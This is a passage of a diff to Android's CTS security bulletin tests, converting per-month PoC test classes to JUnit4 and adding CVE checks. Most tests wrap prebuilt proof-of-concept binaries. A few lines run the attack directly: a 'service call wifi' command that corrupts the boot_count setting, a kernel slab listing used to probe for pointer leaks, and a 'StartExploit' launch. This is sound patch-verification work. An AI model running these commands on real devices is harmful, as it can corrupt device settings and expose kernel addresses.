+ "-n", "com.android.security.cts.launchanywhere/.StartExploit"
+ };
+
+ for (String s : args) {
+ command += " " + s;
+ }
+
+ AdbUtils.runCommandLine(command, device);
+ if (device.waitForDeviceNotAvailable(9_000))
+ device.waitForDeviceAvailable();
+ }
+}
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_02.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_02.java
new file mode 100644
index 0000000..04a8f03
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_02.java
@@ -0,0 +1,35 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc16_02 extends SecurityTestCase {
+ /**
+ * b/25800375
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2016-02")
+ public void testPocCVE_2016_0811() throws Exception {
+ AdbUtils.runPocAssertNoCrashes("CVE-2016-0811", getDevice(), "mediaserver");
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java
index d3da935..b0f0ddc 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java
@@ -1,5 +1,5 @@
/**
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -16,26 +16,42 @@
package android.security.cts;
import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-@SecurityTest
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
public class Poc16_04 extends SecurityTestCase {
/**
* b/26323455
*/
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2016-04")
public void testPocCVE_2016_2419() throws Exception {
AdbUtils.runCommandLine("logcat -c" , getDevice());
AdbUtils.runPoc("CVE-2016-2419", getDevice(), 60);
String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
- assertNotMatches("[\\s\\n\\S]*IOMX_InfoLeak b26323455[\\s\\n\\S]*", logcat);
+ assertNotMatchesMultiLine("IOMX_InfoLeak b26323455", logcat);
}
/**
* b/26324307
*/
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2016-04")
public void testPocCVE_2016_0844() throws Exception {
AdbUtils.runPoc("CVE-2016-0844", getDevice(), 60);
}
+
+ /**
+ * b/26593930
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2016-04")
+ public void testPocCVE_2016_2412() throws Exception {
+ AdbUtils.runPocAssertNoCrashes("CVE-2016-2412", getDevice(), "system_server");
+ }
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java
index 9a1030d..39b7ada 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java
@@ -1,5 +1,5 @@
/**
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -17,18 +17,34 @@
package android.security.cts;
import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-@SecurityTest
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
public class Poc16_05 extends SecurityTestCase {
/**
* b/27555981
*/
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2016-05")
public void testPocCVE_2016_2460() throws Exception {
AdbUtils.runCommandLine("logcat -c" , getDevice());
AdbUtils.runPoc("CVE-2016-2460", getDevice(), 60);
String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
- assertNotMatches("[\\s\\n\\S]*IGraphicBufferProducer_Info is Leaked[\\s\\n\\S]*", logcat);
+ assertNotMatchesMultiLine("IGraphicBufferProducer_Info is Leaked", logcat);
+ }
+
+ /**
+ * b/27275324
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2016-05")
+ public void testPocCVE_2015_1805() throws Exception {
+ getOomCatcher().setHighMemoryTest();
+ AdbUtils.runPoc("CVE-2015-1805", getDevice(), TIMEOUT_NONDETERMINISTIC);
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java
new file mode 100644
index 0000000..58c604e
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java
@@ -0,0 +1,36 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc16_06 extends SecurityTestCase {
+ /**
+ * b/27661749
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2016-06")
+ public void testPocCVE_2016_2482() throws Exception {
+ AdbUtils.runPocAssertNoCrashes("CVE-2016-2482", getDevice(), "mediaserver");
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
index 2601d43..4367a61 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
@@ -1,5 +1,5 @@
/**
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -13,17 +13,52 @@
* See the License for the specific language governing permissions and
* limitations under the License.
*/
+
package android.security.cts;
import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-@SecurityTest
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
public class Poc16_07 extends SecurityTestCase {
/**
* b/28740702
*/
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2016-07")
public void testPocCVE_2016_3818() throws Exception {
AdbUtils.runPoc("CVE-2016-3818", getDevice(), 60);
}
+
+ /**
+ * b/27890802
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2016-07")
+ public void testPocCVE_2016_3746() throws Exception {
+ AdbUtils.runPocAssertNoCrashes("CVE-2016-3746", getDevice(), "mediaserver");
+ }
+
+ /**
+ * b/28557020
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2016-07")
+ public void testPocCVE_2014_9803() throws Exception {
+ AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2014-9803", getDevice(), 60);
+ }
+
+ /**
+ * b/27903498
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2016-07")
+ public void testPocCVE_2016_3747() throws Exception {
+ getOomCatcher().setHighMemoryTest();
+ AdbUtils.runPocAssertNoCrashes("CVE-2016-3747", getDevice(), "mediaserver");
+ }
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java
index 7ab08ad..a253619 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java
@@ -1,5 +1,5 @@
/**
- * Copyright (C) 2017 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -13,16 +13,23 @@
* See the License for the specific language governing permissions and
* limitations under the License.
*/
+
package android.security.cts;
import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-@SecurityTest
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
public class Poc16_09 extends SecurityTestCase {
/**
* b/27773913
*/
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2016-09")
public void testPocCVE_2016_2471() throws Exception {
AdbUtils.runPoc("CVE-2016-2471", getDevice(), 60);
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
new file mode 100644
index 0000000..d1550d2
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
@@ -0,0 +1,37 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc16_10 extends SecurityTestCase {
+
+ /**
+ * b/30204103
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2016-10")
+ public void testPocCVE_2016_3913() throws Exception {
+ AdbUtils.runPocAssertNoCrashes("CVE-2016-3913", getDevice(), "mediaserver");
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
index da8da31..60a15e6 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
@@ -1,5 +1,5 @@
/**
- * Copyright (C) 2016 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -17,14 +17,32 @@
package android.security.cts;
import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-@SecurityTest
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
public class Poc16_11 extends SecurityTestCase {
/**
+ * b/29149404
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2016-11")
+ public void testPocCVE_2012_6702() throws Exception {
+ AdbUtils.runCommandLine("logcat -c", getDevice());
+ AdbUtils.runPoc("CVE-2012-6702", getDevice(), 60);
+ String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
+ assertNotMatchesMultiLine("fail: encountered same random values!", logcat);
+ }
+
+ /**
* b/30904789
*/
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2016-11")
public void testPocCVE_2016_6730() throws Exception {
if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
AdbUtils.runPoc("CVE-2016-6730", getDevice(), 60);
@@ -34,7 +52,8 @@
/**
* b/30906023
*/
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2016-11")
public void testPocCVE_2016_6731() throws Exception {
if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
AdbUtils.runPoc("CVE-2016-6731", getDevice(), 60);
@@ -44,7 +63,8 @@
/**
* b/30906599
*/
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2016-11")
public void testPocCVE_2016_6732() throws Exception {
if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
AdbUtils.runPoc("CVE-2016-6732", getDevice(), 60);
@@ -54,7 +74,8 @@
/**
* b/30906694
*/
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2016-11")
public void testPocCVE_2016_6733() throws Exception {
if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
AdbUtils.runPoc("CVE-2016-6733", getDevice(), 60);
@@ -64,7 +85,8 @@
/**
* b/30907120
*/
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2016-11")
public void testPocCVE_2016_6734() throws Exception {
if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
AdbUtils.runPoc("CVE-2016-6734", getDevice(), 60);
@@ -74,7 +96,8 @@
/**
* b/30907701
*/
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2016-11")
public void testPocCVE_2016_6735() throws Exception {
if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
AdbUtils.runPoc("CVE-2016-6735", getDevice(), 60);
@@ -84,7 +107,8 @@
/**
* b/30953284
*/
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2016-11")
public void testPocCVE_2016_6736() throws Exception {
if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
AdbUtils.runPoc("CVE-2016-6736", getDevice(), 60);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java
new file mode 100644
index 0000000..4e2031b
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java
@@ -0,0 +1,47 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc16_12 extends SecurityTestCase {
+
+ //Criticals
+ /**
+ * b/31796940
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2016-12")
+ public void testPocCVE_2016_8406() throws Exception {
+ assertNotKernelPointer(() -> {
+ String cmd = "ls /sys/kernel/slab 2>/dev/null | grep nf_conntrack";
+ String result = AdbUtils.runCommandLine(cmd, getDevice());
+ String pattern = "nf_conntrack_";
+ int index = result.indexOf(pattern);
+ if (index == -1) {
+ return null;
+ }
+ return result.substring(index + pattern.length());
+ }, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
index aba9ed0..a7ae370 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
@@ -1,5 +1,5 @@
/**
- * Copyright (C) 2016 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -17,15 +17,21 @@
package android.security.cts;
import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-@SecurityTest
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
public class Poc17_01 extends SecurityTestCase {
//Criticals
/**
* b/31797770
*/
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-01")
public void testPocCVE_2016_8425() throws Exception {
if(containsDriver(getDevice(), "/dev/nvhost-vic")) {
AdbUtils.runPoc("CVE-2016-8425", getDevice(), 60);
@@ -35,7 +41,8 @@
/**
* b/31799206
*/
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-01")
public void testPocCVE_2016_8426() throws Exception {
if(containsDriver(getDevice(), "/dev/nvhost-gpu")) {
AdbUtils.runPoc("CVE-2016-8426", getDevice(), 60);
@@ -45,7 +52,8 @@
/**
* b/31799885
*/
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-01")
public void testPocCVE_2016_8427() throws Exception {
if(containsDriver(getDevice(), "/dev/nvhost-gpu") ||
containsDriver(getDevice(), "/dev/nvhost-dbg-gpu")) {
@@ -56,7 +64,8 @@
/**
* b/31993456
*/
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-01")
public void testPocCVE_2016_8428() throws Exception {
if(containsDriver(getDevice(), "/dev/nvmap")) {
AdbUtils.runPoc("CVE-2016-8428", getDevice(), 60);
@@ -66,7 +75,8 @@
/**
* b/32160775
*/
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-01")
public void testPocCVE_2016_8429() throws Exception {
if(containsDriver(getDevice(), "/dev/nvmap")) {
AdbUtils.runPoc("CVE-2016-8429", getDevice(), 60);
@@ -76,7 +86,8 @@
/**
* b/32225180
*/
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-01")
public void testPocCVE_2016_8430() throws Exception {
if(containsDriver(getDevice(), "/dev/nvhost-vic")) {
AdbUtils.runPoc("CVE-2016-8430", getDevice(), 60);
@@ -86,7 +97,8 @@
/**
* b/32402179
*/
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-01")
public void testPocCVE_2016_8431() throws Exception {
if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
AdbUtils.runPoc("CVE-2016-8431", getDevice(), 60);
@@ -96,7 +108,8 @@
/**
* b/32447738
*/
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-01")
public void testPocCVE_2016_8432() throws Exception {
if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
AdbUtils.runPoc("CVE-2016-8432", getDevice(), 60);
@@ -106,7 +119,8 @@
/**
* b/32125137
*/
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-01")
public void testPocCVE_2016_8434() throws Exception {
if(containsDriver(getDevice(), "/dev/kgsl-3d0")) {
// This poc is very verbose so we ignore the output to avoid using a lot of memory.
@@ -117,11 +131,21 @@
/**
* b/31668540
*/
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-01")
public void testPocCVE_2016_8460() throws Exception {
if(containsDriver(getDevice(), "/dev/nvmap")) {
String result = AdbUtils.runPoc("CVE-2016-8460", getDevice(), 60);
assertTrue(!result.equals("Vulnerable"));
}
}
+
+ /**
+ * b/32255299
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2017-01")
+ public void testPocCVE_2017_0386() throws Exception {
+ AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2017-0386", getDevice(), 60);
+ }
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
index fc68707..3f94a62 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
@@ -1,5 +1,5 @@
/**
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -17,23 +17,40 @@
package android.security.cts;
import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
public class Poc17_02 extends SecurityTestCase {
- /**
- * b/32799236
- */
- @SecurityTest
- public void testPocCVE_2017_0426() throws Exception {
- AdbUtils.runCommandLine("logcat -c", getDevice());
- AdbUtils.runPoc("CVE-2017-0426", getDevice(), 60);
- String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
- assertNotMatches("[\\s\\n\\S]*Bugreports file in wrong path[\\s\\n\\S]*", logcatOut);
- }
+ /**
+ * b/32799236
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2017-02")
+ public void testPocCVE_2017_0426() throws Exception {
+ AdbUtils.runCommandLine("logcat -c", getDevice());
+ AdbUtils.runPoc("CVE-2017-0426", getDevice(), 60);
+ String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
+ assertNotMatchesMultiLine("Bugreports file in wrong path", logcatOut);
+ }
+
+ /**
+ * b/32706020
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2017-02")
+ public void testPocCVE_2017_0415() throws Exception {
+ AdbUtils.runPocAssertNoCrashes("CVE-2017-0415", getDevice(), "mediaserver");
+ }
/**
* b/31799863
*/
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-02")
public void testPocCVE_2016_8482() throws Exception {
if(containsDriver(getDevice(), "/dev/nvmap")) {
AdbUtils.runPoc("CVE-2016-8482", getDevice(), 60);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
index 80c959c..492fdb0 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
@@ -1,5 +1,5 @@
/**
- * Copyright (C) 2017 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -16,27 +16,37 @@
package android.security.cts;
-import android.platform.test.annotations.SecurityTest;
+import java.util.concurrent.Callable;
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
public class Poc17_03 extends SecurityTestCase {
/**
* b/31824853
*/
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-03")
public void testPocCVE_2016_8479() throws Exception {
if (containsDriver(getDevice(), "/dev/kgsl-3d0")) {
- AdbUtils.runPocNoOutput("CVE-2016-8479", getDevice(), 180);
+ AdbUtils.runPocNoOutput("CVE-2016-8479", getDevice(), TIMEOUT_NONDETERMINISTIC);
// CTS begins the next test before device finishes rebooting,
// sleep to allow time for device to reboot.
- Thread.sleep(30000);
+ Thread.sleep(70000);
}
}
/**
* b/33940449
*/
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-03")
public void testPocCVE_2017_0508() throws Exception {
if (containsDriver(getDevice(), "/dev/ion") &&
containsDriver(getDevice(), "/dev/dri/renderD129")) {
@@ -50,7 +60,8 @@
/**
* b/33899363
*/
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-03")
public void testPocCVE_2017_0333() throws Exception {
if (containsDriver(getDevice(), "/dev/dri/renderD128")) {
AdbUtils.runPocNoOutput("CVE-2017-0333", getDevice(), 30);
@@ -62,24 +73,60 @@
/**
* b/33245849
*/
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-03")
public void testPocCVE_2017_0334() throws Exception {
if (containsDriver(getDevice(), "/dev/dri/renderD129")) {
- String out = AdbUtils.runPoc("CVE-2017-0334", getDevice());
- assertNotMatchesMultiLine(".*Leaked ptr is (0x[fF]{6}[cC]0[a-fA-F0-9]{8}"
- +"|0x[c-fC-F][a-fA-F0-9]{7}).*",out);
+ String out = AdbUtils.runPoc("CVE-2017-0334", getDevice());
+ // info leak sample
+ // "leaked ptr is 0xffffffc038ed1980"
+ String[] lines = out.split("\n");
+ String pattern = "Leaked ptr is 0x";
+ assertNotKernelPointer(new Callable<String>() {
+ int index = 0;
+ @Override
+ public String call() {
+ for (; index < lines.length; index++) {
+ String line = lines[index];
+ int index = line.indexOf(pattern);
+ if (index == -1) {
+ continue;
+ }
+ return line.substring(index + pattern.length());
+ }
+ return null;
+ }
+ }, null);
}
}
/**
* b/32707507
*/
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-03")
public void testPocCVE_2017_0479() throws Exception {
- AdbUtils.runCommandLine("logcat -c" , getDevice());
- AdbUtils.runPocNoOutput("CVE-2017-0479", getDevice(), 60);
- String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
- assertNotMatchesMultiLine(".*Fatal signal 11 \\(SIGSEGV\\).*>>> /system/bin/" +
- "audioserver <<<.*", logcatOut);
+ AdbUtils.runPocAssertNoCrashes("CVE-2017-0479", getDevice(), "audioserver");
}
+
+ /*
+ * b/33178389
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2017-03")
+ public void testPocCVE_2017_0490() throws Exception {
+ String bootCountBefore =
+ AdbUtils.runCommandLine("settings get global boot_count", getDevice());
+ AdbUtils.runCommandLine("service call wifi 43 s16 content://settings/global/boot_count s16 "
+ + "\"application/x-wifi-config\"",
+ getDevice());
+ String bootCountAfter =
+ AdbUtils.runCommandLine("settings get global boot_count", getDevice());
+ // Poc nukes the boot_count setting, reboot to restore it to a sane value
+ AdbUtils.runCommandLine("reboot", getDevice());
+ getDevice().waitForDeviceOnline(60 * 1000);
+ updateKernelStartTime();
+ assertEquals(bootCountBefore, bootCountAfter);
+ }
+
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_04.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_04.java
index 71e3975..f5c8fe3 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_04.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_04.java
@@ -1,5 +1,5 @@
/**
- * Copyright (C) 2016 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -17,36 +17,60 @@
package android.security.cts;
import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-@SecurityTest
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
public class Poc17_04 extends SecurityTestCase {
- /**
- * b/32342065
- */
- @SecurityTest
- public void testPocCVE_2017_0553() throws Exception {
- // Error code of 139 represents segmentation fault
- getDevice().executeShellCommand("chmod +x /data/local/tmp/CVE-2017-0553");
- assertFalse("Segfault found",
- AdbUtils.runCommandGetExitCode("/data/local/tmp/CVE-2017-0553", getDevice())==139);
- }
+ /**
+ * b/32342065
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2017-04")
+ public void testPocCVE_2017_0553() throws Exception {
+ // Error code of 139 represents segmentation fault
+ getDevice().executeShellCommand("chmod +x /data/local/tmp/CVE-2017-0553");
+ assertFalse("Segfault found",
+ AdbUtils.runCommandGetExitCode("/data/local/tmp/CVE-2017-0553", getDevice())==139);
+ }
- /**
- * b/72460737
- */
- @SecurityTest
- public void testPocCVE_2014_3145() throws Exception {
- assertFalse("VULNERABLE DEVICE DETECTED",
- AdbUtils.runPocCheckExitCode("CVE-2014-3145", getDevice(), 60));
- }
+ /**
+ * b/72460737
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2017-04")
+ public void testPocCVE_2014_3145() throws Exception {
+ assertFalse("VULNERABLE DEVICE DETECTED",
+ AdbUtils.runPocCheckExitCode("CVE-2014-3145", getDevice(), 60));
+ }
- /**
- * b/32813456
- */
- @SecurityTest
- public void testPocCVE_2016_10229() throws Exception {
- String out = AdbUtils.runPoc("CVE-2016-10229", getDevice());
- assertNotMatchesMultiLine(".*OVERWRITE.*", out);
- }
+ /**
+ * b/32813456
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2017-04")
+ public void testPocCVE_2016_10229() throws Exception {
+ String out = AdbUtils.runPoc("CVE-2016-10229", getDevice());
+ assertNotMatchesMultiLine("OVERWRITE", out);
+ }
+
+ /**
+ * b/33621647
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2017-04")
+ public void testPocCVE_2017_0477() throws Exception {
+ AdbUtils.pushResource("/CVE-2017-0477.gif", "/data/local/tmp/CVE-2017-0477.gif",
+ getDevice());
